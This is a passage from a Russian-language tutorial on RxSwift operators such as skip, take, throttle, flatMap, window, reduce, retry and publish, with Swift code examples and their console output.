sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- sampler example ---
2016-04-12 18:28:20.322: sampler -> subscribed
2016-04-12 18:28:21.323: sampler -> Event Next(0)
Next(1)
2016-04-12 18:28:22.324: sampler -> Event Next(1) // элемент в RO не был сгенерирован, т.к. он уже был сгенерирован ранее
2016-04-12 18:28:23.323: sampler -> Event Next(2)
Next(2)
2016-04-12 18:28:24.323: sampler -> Event Next(3) // элемент в RO не был сгенерирован, т.к. он уже был сгенерирован ранее
2016-04-12 18:28:25.323: sampler -> Event Next(4) // элемент в RO не был сгенерирован, т.к. он уже был сгенерирован ранее
2016-04-12 18:28:26.323: sampler -> Event Next(5)
Next(3)
...
```
---
### [single](http://reactivex.io/documentation/operators/first.html)
Из исходной последовательности берется единственный элемент, если элементов > 1 — генерировать ошибку. Есть вариант с предикатом
```
example("single generate error") {
let sequence = Observable.of(1, 2, 3, 4).single()
sequence.subscribe { e in
print(e)
}
}
example("single") {
let sequence = Observable.of(1, 2, 3, 5).single {
$0 % 2 == 0
}
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- single generate error example ---
Next(1)
Error(Sequence contains more than one element.)
--- single example ---
Next(2)
Completed
```
В первом примере в исходной последовательности оказалось больше 1 элемента, поэтому была сгенерирована ошибка в момент генерирования в SO второго элемента
Во втором примере условиям предиката удовлетворил всего 1 элемент, поэтому ошибки сгенерировано не было
---
### [skip](http://reactivex.io/documentation/operators/skip.html)
Из SO отбрасываем первые N элементов
```
example("skip") {
let sequence = Observable.of(1, 2, 3, 4).skip(2)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- skip example ---
Next(3)
Next(4)
Completed
```
---
### [skip (duration)](http://reactivex.io/documentation/operators/skip.html)
Из SO отбрасываем первые элементы, которые были сгенерированы в первые N
```
example("skip duration with wait") {
let sequence = createSequenceWithWait([1,2,3,4]) { $0 }.skip(2, scheduler: MainScheduler.instance)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- skip duration with wait example ---
Next(3)
Next(4)
Completed
```
---
### [skipUntil](http://reactivex.io/documentation/operators/skipuntil.html)
Отбрасываем из SO элементы, которые были сгенерированы до начала генерации элементов последовательностью переданной в качестве параметра
```
example("skipUntil") {
let firstSequence = createSequenceWithWait([1,2,3,4]) { $0 }
let secondSequence = Observable.just(1)
.delaySubscription(1, scheduler: MainScheduler.instance)
let skippedSequence = firstSequence.skipUntil(secondSequence)
skippedSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- skipUntil example ---
Next(3)
Next(4)
Completed
```
Генерация элементов в secondSequence была отложена на 1 секунду с помощью команды delaySubscription, таким образом элементы из firstSequence стали дублироваться в RO лишь через 1 секунду
---
### [skipWhile](http://reactivex.io/documentation/operators/skipwhile.html)
Отбрасываем из SO элементы до тех пор, пока истинно условие возвращаемой переданное функцией
```
example("skipWhile") {
let firstSequence = [1,2,3,4,0].toObservable()
let skipSequence = firstSequence.skipWhile { $0 < 3 }
skipSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- skipWhile example ---
Next(3)
Next(4)
Next(0)
Completed
```
---
### [skipWhileWithIndex](http://reactivex.io/documentation/operators/skipwhile.html)
Отбрасываем из SO элементы до тех пор, пока истинно условие возвращаемой переданное функцией. Отличие от skipWhile в том, что в качестве еще одного параметра переданного в функцию является индекс сгенерированного элемента
```
example("skipWhileWithIndex") {
let firstSequence = [1,2,5,0,7].toObservable()
let skipSequence = firstSequence.skipWhileWithIndex{ value, idx in
value < 4 || idx < 2
}
skipSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- skipWhileWithIndex example ---
Next(5)
Next(0)
Next(7)
Completed
```
---
### [take](http://reactivex.io/documentation/operators/take.html)
Из SO берутся лишь первые N элементов
```
example("take") {
let sequence = Observable.of(1, 2, 3, 4).take(2)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- take example ---
Next(1)
Next(2)
Completed
```
---
### [take (duration)](http://reactivex.io/documentation/operators/take.html)
Из SO берутся лишь элементы сгенерированные в первые N секунд
```
example("take duration with wait") {
let sequence = createSequenceWithWait([1,2,3,4]) { $0 }
let takeSequence = sequence.take(2, scheduler: MainScheduler.instance)
takeSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- take duration with wait example ---
Next(1)
Next(2)
Completed
```
---
### [takeLast](http://reactivex.io/documentation/operators/takelast.html)
Из SO берутся лишь последние N элементов. Что означает, если SO никогда не закончит генерировать элементы — в RO не попадет ни одного элемента.
```
example("takeLast") {
let sequence = Observable.of(1, 2, 3, 4).takeLast(2)
sequence.subscribe { e in
print(e)
}
}
example("takeLast with wait") {
let sequence = createSequenceWithWait([1,2,3,4]) { $0 }
let takeSequence = sequence.takeLast(2)
takeSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- takeLast example ---
Next(3)
Next(4)
Completed
--- takeLast with wait example ---
Next(3)
Next(4)
Completed
```
Второй пример приведен для иллюстрации в задержке генерации элементов в RO из за ожидания завершения генерации элементов в SO
---
### [takeUntil](http://reactivex.io/documentation/operators/takeuntil.html)
Из SO берутся элементы, которые были выпущены до начала генерации элементов последовательностью переданной в качестве параметра
```
example("takeUntil") {
let stopSequence = Observable.just(1)
.delaySubscription(2, scheduler: MainScheduler.instance)
let sequence = createSequenceWithWait([1,2,3,4]) { $0 }
.takeUntil(stopSequence)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- takeUntil example ---
Next(1)
Next(2)
Completed
```
---
### [takeWhile](http://reactivex.io/documentation/operators/takewhile.html)
Из SO берутся Элементы до тех пор, пока истинно условие возвращаемой переданной функцией
```
example("takeWhile") {
let sequence = [1,2,3,4].toObservable().takeWhile{ $0 < 3 }
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- takeWhile example ---
Next(1)
Next(2)
Completed
```
---
### [takeWhileWithIndex](http://reactivex.io/documentation/operators/takewhile.html)
Из SO берутся Элементы до тех пор, пока истинно условие возвращаемой переданной функцией. Отличие от takeWhile в том, что в качестве еще одного параметра переданного в функцию является индекс сгенерированного элемента
```
example("takeWhileWithIndex") {
let sequence = [1,2,3,4,5,6].toObservable()
.takeWhileWithIndex{ (val, idx) in
val % 2 == 0 || idx < 3
}
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- takeWhileWithIndex example ---
Next(1)
Next(2)
Next(3)
Next(4)
Completed
```
---
### [throttle](http://reactivex.io/documentation/operators/debounce.html)
Из SO берутся лишь элементы, после которых не было новых элементов N секунд.
```
example("throttle") {
let sequence = Observable.of(1, 2, 3, 4)
.throttle(1, scheduler: MainScheduler.instance)
sequence.subscribe { e in
print(e)
}
}
example("throttle with wait") {
let sequence = createSequenceWithWait([1,2,3,4]) { $0 }
.throttle(0.5, scheduler: MainScheduler.instance)
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- throttle example ---
Next(4)
Completed
--- throttle with wait example ---
Next(1)
Next(2)
Next(3)
Next(4)
Completed
```
В первом случае SO генерирует элементы без задержек, поэтому лишь последний элемент не имеет после себя новых элементов.
Во втором примере элементы генерируются медленнее, чем N секунд переданные в throttle, поэтому за каждым генерируемым элементом достаточный временной промежуток.
Трансформация
=============
---
### [buffer](http://reactivex.io/documentation/operators/buffer.html)
```
SO = Observable<>>
RO = Observable<[T]>
```
Элементы из SO по определенным правилам объединяются в массивы и генерируются в RO. В качестве параметров передается count, — максимальное число элементов в массиве, и timeSpan время максимального ожидания наполнения текущего массива из элементов SO. Таким образом элемент RO, являет собой массив [T], длинной от 0 до count.
```
example("buffer") {
let varA = Variable(0)
let bufferSequence = varA.asObservable()
.buffer(timeSpan: 3, count: 3, scheduler: MainScheduler.instance)
bufferSequence.subscribe { e in
print("\(NSDate()) - \(e)")
}
varA.value = 1
varA.value = 2
varA.value = 3
delay(3) {
varA.value = 4
varA.value = 5
delay(5) {
varA.value = 6
}
}
}
```
Консоль:
```
--- buffer example ---
2016-04-12 16:10:58 +0000 - Next([0, 1, 2])
2016-04-12 16:11:01 +0000 - Next([3])
2016-04-12 16:11:04 +0000 - Next([4, 5])
2016-04-12 16:11:07 +0000 - Next([6])
2016-04-12 16:11:07 +0000 - Completed
```
Длина массива была указана как 3, — как только были сгенерированы 3 элемента — в RO сгенерировался элемент [0, 1, 2]
После генерации элемента 3, — была задержка в 3 секунды, сработал таймаут, и массив не был заполнен полностью.
То же касается и задержки после генерации элемента 5
---
### [flatMap](http://reactivex.io/documentation/operators/flatmap.html)
Каждый элемент SO превращается в отдельный Observable, и все элементы из [O1, O2, O3…] объединяются в RO. Порядок генерации элементов в RO зависит от времени их генерации в исходных [O1, O2, O3…] (как в команде merge)
```
example("flatMap with wait") {
let sequence:Observable = createSequenceWithWait([0,1,2], waitTime: 1) { $0 }
let flatMapSequence:Observable = sequence.flatMap{val in
createSequenceWithWait([10,11,12], waitTime: 2) { element in
"\(element) - \(val)"
}
}
flatMapSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- flatMap with wait example ---
Next(10 - 0)
Next(10 - 1)
Next(11 - 0)
Next(10 - 2)
Next(11 - 1)
Next(12 - 0)
Next(11 - 2)
Next(12 - 1)
Next(12 - 2)
Completed
```
---
### [flatMapFirst](http://reactivex.io/documentation/operators/flatmap.html)
Каждый элемент SO превращается в отдельный Observable.
1) Изначально подписываемся на O1, его элементы зеркально генерируются в RO. Пока O1 генерирует элементы — все последующие Observable сгенерированные из SO отбрасываются, на них не подписываемся.
2) как только O1 оканчивается, — если будет сгенерирован новый Observable — на него подпишутся и его элементы будут дублироваться в RO.
Повторяем пункт 1, но вместо O1 берем последний сгенерированный Observable
```
example("flatMapFirst") {
let sequence:Observable = Observable.of(10, 20, 30)
.debug("sequence")
let flatMapSequence:Observable = sequence
.flatMapFirst{val in
Observable.of(0, 1, 2)
.map{"\($0) - \(val)"
}
}
flatMapSequence.subscribe { e in
print(e)
}
}
example("flatMapFirst with delay") {
let subjectA = Observable.create{ observer in
delay(0) {
observer.on(.Next(10))
}
delay(1) {
observer.on(.Next(20))
}
delay(7) {
observer.onCompleted()
}
return NopDisposable.instance
}.debug("sA")
let subjectB = Observable.create{ observer in
delay(0) {
observer.on(.Next(100))
}
delay(1) {
observer.on(.Next(200))
}
delay(2) {
observer.onCompleted()
}
return NopDisposable.instance
}.debug("sB")
let subjectC = Observable.create{ observer in
delay(0) {
observer.on(.Next(1000))
}
delay(1) {
observer.on(.Next(2000))
}
delay(2) {
observer.onCompleted()
}
return NopDisposable.instance
}.debug("sC")
let subjects = [subjectA, subjectB, subjectC]
let sequence:Observable = createSequenceWithWait([0, 1, 2],waitTime:4){$0}
.debug("sequence")
let flatMapSequence:Observable = sequence.flatMapFirst{val in
return subjects[val].asObservable()
}.debug("flatMapSequence")
flatMapSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- flatMapFirst example ---
2016-04-12 19:19:46.915: sequence -> subscribed
2016-04-12 19:19:46.916: sequence -> Event Next(10)
Next(0 - 10)
Next(1 - 10)
Next(2 - 10)
2016-04-12 19:19:46.918: sequence -> Event Next(20)
Next(0 - 20)
Next(1 - 20)
Next(2 - 20)
2016-04-12 19:19:46.919: sequence -> Event Next(30)
Next(0 - 30)
Next(1 - 30)
Next(2 - 30)
2016-04-12 19:19:46.921: sequence -> Event Completed
Completed
2016-04-12 19:19:46.921: sequence -> disposed
--- flatMapFirst with delay example ---
2016-04-12 19:19:46.925: flatMapSequence -> subscribed
2016-04-12 19:19:46.926: sequence -> subscribed
2016-04-12 19:19:46.935: sequence -> Event Next(0) // SO генерирует 1й элемент
2016-04-12 19:19:46.935: sA -> subscribed // на его основе генерируется Observable sA, на который мы подписываемся
2016-04-12 19:19:46.936: sA -> Event Next(10)
2016-04-12 19:19:46.936: flatMapSequence -> Event Next(10)
Next(10)
2016-04-12 19:19:47.936: sA -> Event Next(20)
2016-04-12 19:19:47.936: flatMapSequence -> Event Next(20)
Next(20)
2016-04-12 19:19:50.926: sequence -> Event Next(1) // SO генерирует 2й элемент, но на этот момент sA еще генерирует элементы, поэтому подписки на sB не произошло, он просто отбрасывается
2016-04-12 19:19:53.935: sA -> Event Completed
2016-04-12 19:19:53.936: sA -> disposed // sA закончил генерировать элементы, от него отписались
2016-04-12 19:19:55.137: sequence -> Event Next(2) // SO генерирует 3й элемент
2016-04-12 19:19:55.137: sC -> subscribed // т.к. на этот момент нет активных Observable (от sA мы отписались, sB - мы отбросили) - мы можем подписаться на него
2016-04-12 19:19:55.137: sC -> Event Next(1000)
2016-04-12 19:19:55.137: flatMapSequence -> Event Next(1000)
Next(1000)
2016-04-12 19:19:56.236: sC -> Event Next(2000)
2016-04-12 19:19:56.236: flatMapSequence -> Event Next(2000)
Next(2000)
2016-04-12 19:19:57.335: sC -> Event Completed
2016-04-12 19:19:57.336: sC -> disposed
2016-04-12 19:19:58.926: sequence -> Event Completed
2016-04-12 19:19:58.926: flatMapSequence -> Event Completed
Completed
2016-04-12 19:19:58.926: sequence -> disposed
```
Первый пример показывает, что т.к. Observable успевают сгенерировать свои элементы, ко времени когда приходит очередь подписаться на новый Observable — это уже разрешено, поэтому в RO попадают элементы со всех Observable
А вот второй пример очень объемный, но позволят в подробностях наблюдать как происходят подписка/отписка и как это влияет на генерацию элементов
---
### [flatMapLatest](http://reactivex.io/documentation/operators/flatmap.html)
Каждый элемент SO превращается в отдельный Observable. Изначально подписываемся на O1, его элементы зеркально генерируются в RO. Как только из SO выпускается очередной элемент и на его основе генерируется очередной Observable — элементы предыдущего Observable отбрасываются, т.к. происходит отписка. Таким образом в RO — элементы из последнего генерированного Observable
```
example("flatMapLatest") {
let sequence:Observable = Observable.of(10, 20, 30)
let flatMapSequence = sequence.flatMapLatest{val in Observable.of(0, 1, 2)
.map{"\($0) - \(val)"
}
}
flatMapSequence.subscribe { e in
print(e)
}
}
example("flatMapLatest with delay") {
let subjectA = Observable.create{ observer in
delay(0) {
observer.on(.Next(10))
}
delay(3) {
observer.on(.Next(20))
}
delay(5) {
observer.onCompleted()
}
return NopDisposable.instance
}.debug("sA")
let subjectB = Observable.create{ observer in
delay(0) {
observer.on(.Next(100))
}
delay(1) {
observer.on(.Next(200))
}
delay(2) {
observer.onCompleted()
}
return NopDisposable.instance
}.debug("sB")
let subjectC = Observable.create{ observer in
delay(0) {
observer.on(.Next(1000))
}
delay(1) {
observer.on(.Next(2000))
}
delay(2) {
observer.onCompleted()
}
return NopDisposable.instance
}.debug("sC")
let subjects = [subjectA, subjectB, subjectC]
let sequence:Observable = createSequenceWithWait([0, 1, 2],waitTime:1) {$0}
.debug("sequence")
let flatMapSequence:Observable = sequence.flatMapLatest{val in
return subjects[val].asObservable()
}.debug("flatMapSequence")
flatMapSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- flatMapLatest example ---
Next(0 - 10)
Next(1 - 10)
Next(2 - 10)
Next(0 - 20)
Next(1 - 20)
Next(2 - 20)
Next(0 - 30)
Next(1 - 30)
Next(2 - 30)
Completed
--- flatMapLatest with delay example ---
2016-04-12 19:30:50.309: flatMapSequence -> subscribed
2016-04-12 19:30:50.310: sequence -> subscribed
2016-04-12 19:30:50.318: sequence -> Event Next(0) // SO сгенерировала 1й элемент, и на его основе создали sA
2016-04-12 19:30:50.319: sA -> subscribed // подписались на sA
2016-04-12 19:30:50.319: sA -> Event Next(10) // он генерирует элемент
2016-04-12 19:30:50.319: flatMapSequence -> Event Next(10) // flatMap генерирует новый элемент
Next(10) // и он попадает в RO
2016-04-12 19:30:51.310: sequence -> Event Next(1) // SO сгенерировала 2й элемент, и на его основе создали sA
2016-04-12 19:30:51.311: sA -> disposed // и хоть sA не успел сгенерировать все элементы, от него мы отписываемся
2016-04-12 19:30:51.311: sB -> subscribed // и подписываемся на новый Observable sB
2016-04-12 19:30:51.311: sB -> Event Next(100)
2016-04-12 19:30:51.311: flatMapSequence -> Event Next(100)
Next(100)
2016-04-12 19:30:52.310: sequence -> Event Next(2)
2016-04-12 19:30:52.311: sB -> disposed
2016-04-12 19:30:52.311: sC -> subscribed
2016-04-12 19:30:52.311: sC -> Event Next(1000)
2016-04-12 19:30:52.311: flatMapSequence -> Event Next(1000)
Next(1000)
2016-04-12 19:30:53.372: sequence -> Event Completed
2016-04-12 19:30:53.372: sequence -> disposed
2016-04-12 19:30:53.372: sC -> Event Next(2000)
2016-04-12 19:30:53.372: flatMapSequence -> Event Next(2000)
Next(2000)
2016-04-12 19:30:54.501: sC -> Event Completed
2016-04-12 19:30:54.501: sC -> disposed
2016-04-12 19:30:54.501: flatMapSequence -> Event Completed
Completed
```
Первый пример показывает, что т.к. Observable успевают сгенерировать свои элементы, ко времени когда приходит очередь подписаться на новый Observable — предыдущий уже успел сгенерировать все свои элементы, поэтому в RO попадают элементы со всех Observable
Во втором примере благодаря задержкам в генерации мы видим, что как только генерируется новый Observable — происходит отписка от предыдущего Observable
---
### [flatMapWithIndex](http://reactivex.io/documentation/operators/flatmap.html)
Каждый элемент SO превращается в отдельный Observable, и все элементы из [O1, O2, O3…] объединяются в RO. Порядок генерации элементов в RO зависит от времени их генерации в исходных [O1, O2, O3…] (как в команде merge). Отличие от flatMap в том, что в качестве еще одного параметра переданного в функцию является индекс сгенерированного элемента
```
example("flatMapWithIndex") {
let sequence:Observable = Observable.of(10, 20, 30)
let flatMapSequence:Observable = sequence.flatMapWithIndex{val, idx in Observable.of("A", "B", "C").map{"index: (\(idx)) - \($0) - \(val)"} }
print(flatMapSequence.dynamicType)
flatMapSequence.subscribe { e in
print(e)
}
}
example("flatMapWithIndex with wait") {
let sequence:Observable = createSequenceWithWait([0,1,2], waitTime: 1) { $0 }
let flatMapSequence:Observable = sequence.flatMapWithIndex{val, idx in
createSequenceWithWait(["A","B","C"], waitTime: 2) { element in
"index: (\(idx)) - \(element) - \(val)"
}
}
print(flatMapSequence.dynamicType)
flatMapSequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
FlatMapWithIndex>
Next(index: (0) - A - 10)
Next(index: (0) - B - 10)
Next(index: (0) - C - 10)
Next(index: (1) - A - 20)
Next(index: (1) - B - 20)
Next(index: (1) - C - 20)
Next(index: (2) - A - 30)
Next(index: (2) - B - 30)
Next(index: (2) - C - 30)
Completed
--- flatMapWithIndex with wait example ---
FlatMapWithIndex>
Next(index: (0) - A - 0)
Next(index: (1) - A - 1)
Next(index: (0) - B - 0)
Next(index: (2) - A - 2)
Next(index: (1) - B - 1)
Next(index: (0) - C - 0)
Next(index: (2) - B - 2)
Next(index: (1) - C - 1)
Next(index: (2) - C - 2)
Completed
```
---
### [map](http://reactivex.io/documentation/operators/map.html)
```
Observable -> Observable
```
Элементы SO преобразовываются, не меняя порядок их генерации. Можно менять не только значение, но и тип элементов.
```
example("map") {
let sequence = Observable.of(1, 2, 3)
.map{ "\($0 * 5)" }
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- map example ---
Next(5)
Next(10)
Next(15)
Completed
```
---
### [mapWithIndex](http://reactivex.io/documentation/operators/map.html)
```
Observable -> Observable
```
Элементы SO преобразовываются, не меняя порядок их генерации. Можно менять не только значение, но и тип элементов. Отличие от map в том, что в качестве еще одного параметра переданного в функцию является индекс сгенерированного элемента
```
example("mapWithIndex") {
let sequence = Observable.of("A", "B", "C")
.mapWithIndex({ "\($0) / \($1)" })
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- mapWithIndex example ---
Next(A / 0)
Next(B / 1)
Next(C / 2)
Completed
```
---
### [window](http://reactivex.io/documentation/operators/window.html)
```
SO = Observable
RO = Observable>
```
Элемент из SO по определенным правилам передаются в генерирующиеся новые Observable. В качестве параметров передается count, — максимальное число элементов которые будут сгенерированы каждым Observable, и timeSpan — время максимального ожидания наполнения текущего Observable из элементов SO. Таким образом элемент RO, являет собой Observable число генерируемых элементов которого равно от 0 до N. Основным отличием от bufffer — элементы SO зеркалятся сгенерированными Observable моментально, а в случае buffer — мы вынуждены ждать указанное в качестве параметра максимальное время (если буфер не заполнится раньше)
```
example("window") {
let varA = Variable(0)
let bufferSequence:Observable> = varA.asObservable()
.window(timeSpan: 3, count: 3, scheduler: MainScheduler.instance)
.debug("bufferSequence")
bufferSequence.subscribe { e in
if case .Next(let observable) = e {
print("\(NSDate()) - генерируем новый Observable")
observable.subscribe { val in
print(val)
}
}
}
varA.value = 1
varA.value = 2
varA.value = 3
delay(4) {
varA.value = 4
varA.value = 5
delay(4) {
varA.value = 6
}
}
}
```
Консоль:
```
--- window example ---
2016-04-12 19:51:54.372: bufferSequence -> subscribed
2016-04-12 19:51:54.373: bufferSequence -> Event Next(RxSwift.AddRef)
2016-04-12 16:51:54 +0000 - генерируем новый Observable
Next(0)
Next(1)
Next(2)
Completed
2016-04-12 19:51:54.377: bufferSequence -> Event Next(RxSwift.AddRef)
2016-04-12 16:51:54 +0000 - генерируем новый Observable
Next(3)
Completed
2016-04-12 19:51:57.378: bufferSequence -> Event Next(RxSwift.AddRef)
2016-04-12 16:51:57 +0000 - генерируем новый Observable
Next(4)
Next(5)
Completed
2016-04-12 19:52:00.380: bufferSequence -> Event Next(RxSwift.AddRef)
2016-04-12 16:52:00 +0000 - генерируем новый Observable
Next(6)
Completed
2016-04-12 19:52:02.895: bufferSequence -> Event Completed
```
В примере используются временные задержки что помогает добиться частичной наполненности генерируемых Observable
Операторы математические и агрегирования
========================================
---
### [reduce](http://reactivex.io/documentation/operators/reduce.html)
Каждый элемент SO преобразуется с помощью переданной функции, результат операции передается в качестве параметра в функцию на следующем шаге. Как только SO генерирует терминальное состояние, RO генерирует результат, т.е. RO сгенерирует лишь один элемент.
```
example("reduce") {
let sequence = Observable.of(1, 2, 3, 4)
.reduce(1) { $0 * $1 }
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- reduce example ---
Next(24)
Completed
```
---
### [scan](http://reactivex.io/documentation/operators/scan.html)
Каждый элемент SO преобразуется с помощью переданной функции, результат операции генерируется в RO, но кроме этого оно передается в качестве параметра в функцию на следующем шаге. В отличии от reduce число элементов в RO равно числу элементов в SO.
```
example("scan") {
let sequence = Observable.of(1, 2, 3).scan(10) { result, element in
return result + element
}
sequence.subscribe { e in
print(e)
}
}
example("scan multiply") {
let sequence = Observable.of(2, 3, 5).scan(10) { result, element in
return result * element
}
sequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- scan example ---
Next(11)
Next(13)
Next(16)
Completed
--- scan multiply example ---
Next(20)
Next(60)
Next(300)
Completed
```
---
### [toArray](http://reactivex.io/documentation/operators/to.html)
```
SO = Observable
RO = Observable<[T]>
```
Все элементы из SO после генерации терминального состояния объединяются в массив и генерируются RO
```
example("toArray") {
let sequence = Observable.of(1, 2, 3)
let arraySequence = sequence.toArray()
arraySequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- toArray example ---
Next([1, 2, 3])
Completed
```
Работа с ошибками
=================
---
### [catchError](http://reactivex.io/documentation/operators/catch.html)
Позволяет перехватить генерированную ошибку из SO и заменить ее на новый Observable, который теперь будет генерировать элементы
```
example("with catchError") {
let sequenceWithError = Observable.create { observer in
observer.on(.Next(1))
observer.on(.Next(2))
observer.on(.Next(3))
observer.on(.Next(4))
observer.onError(RxError.Unknown)
observer.on(.Next(5))
return NopDisposable.instance
}
let sequenceIgnoreError = sequenceWithError.catchError{ error in
return Observable.of(10, 11, 12)
}
sequenceIgnoreError.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- with catchError example ---
Next(1)
Next(2)
Next(3)
Next(4)
Next(10)
Next(11)
Next(12)
Completed
```
После генерации элемента 4, была сгенерирована ошибка RxError.Unknown, но мы её перехватили и вернули взамен новый Observable
---
### [catchErrorJustReturn](http://reactivex.io/documentation/operators/catch.html)
Позволяет перехватить генерированную ошибку из SO и заменить её на указанный элемент, после этого SO генерирует Completed
```
example("with catchErrorJustReturn") {
let sequenceWithError = Observable.of(1, 2, 3, 4)
.concat(Observable.error(RxError.Unknown))
.concat(Observable.just(5))
let sequenceIgnoreError = sequenceWithError.catchErrorJustReturn(-1)
sequenceIgnoreError.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- with catchErrorJustReturn example ---
Next(1)
Next(2)
Next(3)
Next(4)
Next(-1)
Completed
```
После генерации элемента 4, была сгенерирована ошибка RxError.Unknown, но мы её перехватили и вернули взамен элемент -1
---
### [retry](http://reactivex.io/documentation/operators/retry.html)
Позволяет перехватить генерированную ошибку из SO и в зависимости от переданного параметра попытаться запустить SO c начала нужное число раз в надежде что ошибка не повторится
```
example("retry full sequence") {
let sequenceWithError = Observable.of(1, 2, 3, 4).concat(Observable.error(RxError.Unknown))
let wholeSequenceWithErrorRetry = sequenceWithError.retry(2)
wholeSequenceWithErrorRetry.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- retry full sequence example ---
Next(1)
Next(2)
Next(3)
Next(4)
Next(1)
Next(2)
Next(3)
Next(4)
Error(Unknown error occured.)
```
Т.к. был применен оператор retry(2) — мы один раз повторили продписку на SO, но ошибка повторилась, и была сгенерирована в RO
Таким образом retry(1) — не сделает ни одного повтора
---
### [retryWhen](http://reactivex.io/documentation/operators/retry.html)
Позволяет перехватить сгенерированную ошибку из SO и в зависимости от типа ошибки мы либо повторно генерируем ошибку, которая пробрасывается в RO и на этом выполнение заканчивается, либо генерируем Observable (tryObservable), генерация каждого корректного элемента которого выполнит повторную подписку на SO, в надежде что ошибка исчезнет. Если tryObservable заканчивается ошибкой — она пробрасывается в RO и на этом выполнение заканчивается
```
example("retryWhen") {
var counter = 0
let sequenceWithError = Observable.create { observer in
observer.on(.Next(1))
observer.on(.Next(2))
observer.on(.Next(3))
observer.on(.Next(4))
counter += 1
if counter < 3 {
observer.onError(RxError.Unknown)
} /\*else {
observer.onError(RxError.Overflow)
}\*/
observer.on(.Next(5))
return NopDisposable.instance
}.debug("with error")
let sequenceWithoutError = Observable.create { observer in
observer.on(.Next(10))
//observer.onError(RxError.NoElements)
return NopDisposable.instance
}.debug("without error")
let retrySequence = sequenceWithError.retryWhen{ (error: Observable) -> Observable in
let seq:Observable = error.flatMap { (generatedError: RxError) -> Observable in
if case .Unknown = generatedError {
return sequenceWithoutError
}
return Observable.error(generatedError)
}
return seq
}//.debug()
retrySequence.subscribe { e in
print(e)
}
}
```
Консоль:
```
--- retryWhen example ---
2016-04-12 20:18:04.484: with error -> subscribed
2016-04-12 20:18:04.485: with error -> Event Next(1)
Next(1)
2016-04-12 20:18:04.486: with error -> Event Next(2)
Next(2)
2016-04-12 20:18:04.486: with error -> Event Next(3)
Next(3)
2016-04-12 20:18:04.487: with error -> Event Next(4)
Next(4)
2016-04-12 20:18:04.487: with error -> Event Error(Unknown error occured.)
2016-04-12 20:18:04.488: without error -> subscribed
2016-04-12 20:18:04.488: without error -> Event Next(10)
2016-04-12 20:18:04.489: with error -> disposed
2016-04-12 20:18:04.489: with error -> subscribed
2016-04-12 20:18:04.489: with error -> Event Next(1)
Next(1)
2016-04-12 20:18:04.490: with error -> Event Next(2)
Next(2)
2016-04-12 20:18:04.490: with error -> Event Next(3)
Next(3)
2016-04-12 20:18:04.490: with error -> Event Next(4)
Next(4)
2016-04-12 20:18:04.491: with error -> Event Error(Unknown error occured.)
2016-04-12 20:18:04.491: without error -> subscribed
2016-04-12 20:18:04.492: without error -> Event Next(10)
2016-04-12 20:18:04.492: with error -> disposed
2016-04-12 20:18:04.492: with error -> subscribed
2016-04-12 20:18:04.493: with error -> Event Next(1)
Next(1)
2016-04-12 20:18:04.493: with error -> Event Next(2)
Next(2)
2016-04-12 20:18:04.493: with error -> Event Next(3)
Next(3)
2016-04-12 20:18:04.494: with error -> Event Next(4)
Next(4)
2016-04-12 20:18:04.494: with error -> Event Next(5)
Next(5)
```
Я встроил инкремент переменной i в генерацию sequenceWithError, чтобы на 3й попытке — ошибка исчезла. Если раскоментировать генерацию ошибку RxError.Overflow — мы её не перехватим в операторе retryWhen и пробросим в RO
Операторы для работы с Connectable Observable
=============================================
---
### [multicast](http://reactivex.io/documentation/operators/publish.html)
Позволяет проксировать элементы из исходной SO на Subject переданный в качестве параметра. Подписываться нужно именно на этот Subject, генерация элементов Subject начнется после вызова оператора connect.
```
example("multicast") {
let subject = PublishSubject()
let firstSequence = createSequenceWithWait([0,1,2,3,4,5]) { $0 }
.multicast(subject)
delay(2) {
\_ = subject.subscribe { e in
print("first: \(e)")
}
}
delay(3) {
\_ = subject.subscribe { e in
print("second: \(e)")
}
}
firstSequence.connect()
}
```
Консоль:
```
--- multicast example ---
first: Next(2)
first: Next(3)
second: Next(3)
first: Next(4)
second: Next(4)
first: Next(5)
second: Next(5)
first: Completed
second: Completed
```
---
### [publish](http://reactivex.io/documentation/operators/publish.html)
publish = multicast + replay subject
Позволяет создавать Connectable Observable, которые не генерируют события даже после subscribe. Для старта генерации таким Observable нужно дать команду connect. Это позволяет подписать несколько Observer к одному Observable и начать генерировать элементы одновременно, вне зависимости от того, когда был выполнен subscribe
```
example("subscribe connectable sequnce with connect") {
let sequence = Observable.interval(1, scheduler: MainScheduler.instance).debug("sequence").publish()
var disposable1: Disposable!
var disposable2: Disposable!
disposable1 = sequence.subscribe { e in
print("first: \(e)")
}
delay(2) {
disposable2 = sequence.subscribe { e in
print("second: \(e)")
}
}
delay(4) {
sequence.connect()
}
delay(8) {
disposable1.dispose()
disposable2.dispose()
}
}
```
Консоль:
```
--- subscribe connectable sequnce with connect example ---
2016-04-12 21:35:32.130: sequence -> subscribed
2016-04-12 21:35:33.131: sequence -> Event Next(0)
first: Next(0)
second: Next(0)
2016-04-12 21:35:34.131: sequence -> Event Next(1)
first: Next(1)
second: Next(1)
2016-04-12 21:35:35.132: sequence -> Event Next(2)
first: Next(2)
second: Next(2)
